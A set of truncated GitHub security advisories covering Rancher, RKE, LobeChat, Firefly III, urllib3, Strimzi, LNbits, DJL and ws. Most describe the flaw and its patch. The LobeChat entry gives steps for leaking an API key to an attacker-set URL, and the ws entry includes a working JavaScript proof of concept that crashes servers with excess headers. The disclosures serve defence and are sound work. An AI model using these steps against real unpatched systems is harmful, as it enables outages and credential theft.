ghsa

### Impact A vulnerability has been identified whereby privilege escalation checks are not properly enforced for `RoleTemplate`objects when external=true, which in specific scenarios can lead to privilege escalation. The bug in the webhook rule resolver ignores rules from a `ClusterRole` for external `RoleTemplates` when its context is set to either `project` or is left empty. The fix introduces a new field to the `RoleTemplate` CRD named `ExternalRules`. The new field will be used to resolve rules directly from the `RoleTemplate`. Additionally, rules from the backing `ClusterRole` will be used if `ExternalRules` is not provided. The new field will always take precedence when it is set, and serve as the source of truth for rules used when creating Rancher resources on the local cluster. Please note that this is a breaking change for external `RoleTemplates`, when context is set to `project` or empty and the backing `ClusterRole` does not exist, as this was not previously required. *...

### Impact When RKE provisions a cluster, it stores the cluster state in a configmap called `full-cluster-state` inside the `kube-system` namespace of the cluster itself. This cluster state object contains information used to set up the K8s cluster, which may include the following sensitive data: - RancherKubernetesEngineConfig - RKENodeConfig - SSH username - SSH private key - SSH private key path - RKEConfigServices - ETCDService - External client key - BackupConfig - S3BackupConfig - AWS access key - AWS secret key - KubeAPIService - SecretsEncryptionConfig - K8s encryption configuration (contains encryption keys) - PrivateRegistries - User - Password - ECRCredentialPlugin - AWS access key - AWS secret key - AWS session token - CloudProvider - AzureCloudProvider - ...

### Impact A vulnerability has been identified in which Rancher does not automatically clean up a user which has been deleted from the configured authentication provider (AP). This characteristic also applies to disabled or revoked users, Rancher will not reflect these modifications which may leave the user’s tokens still usable. An AP must be enabled to be affected by this, as the built-in User Management feature is not affected by this vulnerability. This issue may lead to an adversary gaining unauthorized access, as the user’s access privileges may still be active within Rancher even though they are no longer valid on the configured AP (please consult the [MITRE ATT&CK - Technique - Valid Accounts](https://attack.mitre.org/techniques/T1078/) for further information about the associated technique of attack). It’s important to note that all configurable APs are impacted, see [Rancher Docs - Configuring Authentication - External vs. Local Authentication](https://ranchermanager.docs....

### Summary If an attacker can successfully authenticate through SSO/Access Code, they can obtain the real backend API Key by modifying the base URL to their own attack URL on the frontend and setting up a server-side request. ### Details The attack process is described above.  ### PoC Frontend: 1. Pass basic authentication (SSO/Access Code). 2. Set the Base URL to a private attack address. 3. Configure the request method to be a server-side request. 4. At the self-set attack address, retrieve the API Key information from the request headers. Backend: 1. The LobeChat version allows setting the Base URL. 2. There is no outbound traffic whitelist. ### Impact All community version LobeChat users using SSO/Access Code authentication, tested on version 0.162.13.

### Impact A MFA bypass in the Firefly III OAuth flow may allow malicious users to bypass the MFA-check. This allows malicious users to use password spraying to gain access to your Firefly III data using passwords stolen from other sources. As OAuth applications are easily enumerable using an incrementing id, an attacker could try sign an OAuth application up to a users profile quite easily if they have created one. The attacker would also need to know the victims username and password. ### Patches Problem has been patched in Firefly III v6.1.17 and up. ### Workarounds - Use a unique password for your Firefly III instance, - Store your password securely, i.e. in a password manager or in your head. ### References - https://owasp.org/www-community/attacks/Password_Spraying_Attack - https://www.menlosecurity.com/what-is/highly-evasive-adaptive-threats-heat/mfa-bypass

When using urllib3's proxy support with `ProxyManager`, the `Proxy-Authorization` header is only sent to the configured proxy, as expected. However, when sending HTTP requests *without* using urllib3's proxy support, it's possible to accidentally configure the `Proxy-Authorization` header even though it won't have any effect as the request is not using a forwarding proxy or a tunneling proxy. In those cases, urllib3 doesn't treat the `Proxy-Authorization` HTTP header as one carrying authentication material and thus doesn't strip the header on cross-origin redirects. Because this is a highly unlikely scenario, we believe the severity of this vulnerability is low for almost all users. Out of an abundance of caution urllib3 will automatically strip the `Proxy-Authorization` header during cross-origin redirects to avoid the small chance that users are doing this on accident. Users should use urllib3's proxy support or disable automatic redirects to achieve safe processing of the `Proxy-...

Incorrect access control in the Kafka Connect REST API in the STRIMZI Project 0.41.0 and earlier allows an attacker to deny the service for Kafka Mirroring, potentially mirror the topics' content to his Kafka cluster via a malicious connector (bypassing Kafka ACL if it exists), and potentially steal Kafka SASL credentials, by querying the MirrorMaker Kafka REST API.

### Summary Paying invoices in Eclair that do not get settled within the internal timeout (about 30s) lead to a payment being considered failed, even though it may still be in flight. ### Details Using `blocking: true` on the API call will lead to a timeout error if a payment does not get settled in the 30s timeout with the error: `Ask timed out on [Actor[akka://eclair-node/user/$l#134241942]] after [30000 ms]. Message of type [fr.acinq.eclair.payment.send.PaymentInitiator$SendPaymentToNode]. A typical reason for AskTimeoutException is that the recipient actor didn't send a reply.` https://github.com/lnbits/lnbits/blob/c04c13b2f8cfbb625571a07dfddeb65ea6df8dac/lnbits/wallets/eclair.py#L138 This is considered a payment failure by parts of the code, and assumes the payment is not going to be settled after: https://github.com/lnbits/lnbits/blob/c04c13b2f8cfbb625571a07dfddeb65ea6df8dac/lnbits/wallets/eclair.py#L144 https://github.com/lnbits/lnbits/blob/c04c13b2f8cfbb625571a07dfddeb65ea6...

## Summary DeepJavaLibrary(DJL) versions 0.1.0 through 0.27.0 do not prevent absolute path archived artifacts from inserting archived files directly into the system, overwriting system files. This is fixed in DJL 0.28.0 and patched in DJL Large Model Inference containers 0.27.0. **Impacted versions: 0.1.0 through 0.27.0** ## Patches Patched Deep Learning Containers: [v1.1-djl-0.27.0-inf-cpu-full](https://github.com/aws/deep-learning-containers/releases/tag/v1.1-djl-0.27.0-inf-cpu-full) [v1.4-djl-0.27.0-inf-ds-0.12.6](https://github.com/aws/deep-learning-containers/releases/tag/v1.4-djl-0.27.0-inf-ds-0.12.6) [v1.4-djl-0.27.0-inf-trt-0.8.0](https://github.com/aws/deep-learning-containers/releases/tag/v1.4-djl-0.27.0-inf-trt-0.8.0) [v1.3-djl-0.27.0-inf-neuronx-sdk2.18.1](https://github.com/aws/deep-learning-containers/releases/tag/v1.3-djl-0.27.0-inf-neuronx-sdk2.18.1) Patched Library: [v0.28.0](https://github.com/deepjavalibrary/djl/releases/tag/v0.28.0)

### Impact A request with a number of headers exceeding the[`server.maxHeadersCount`][] threshold could be used to crash a ws server. ### Proof of concept ```js const http = require('http'); const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port }); request.end(); }); ``` ### Patches The vulnerability was fixed in ws@...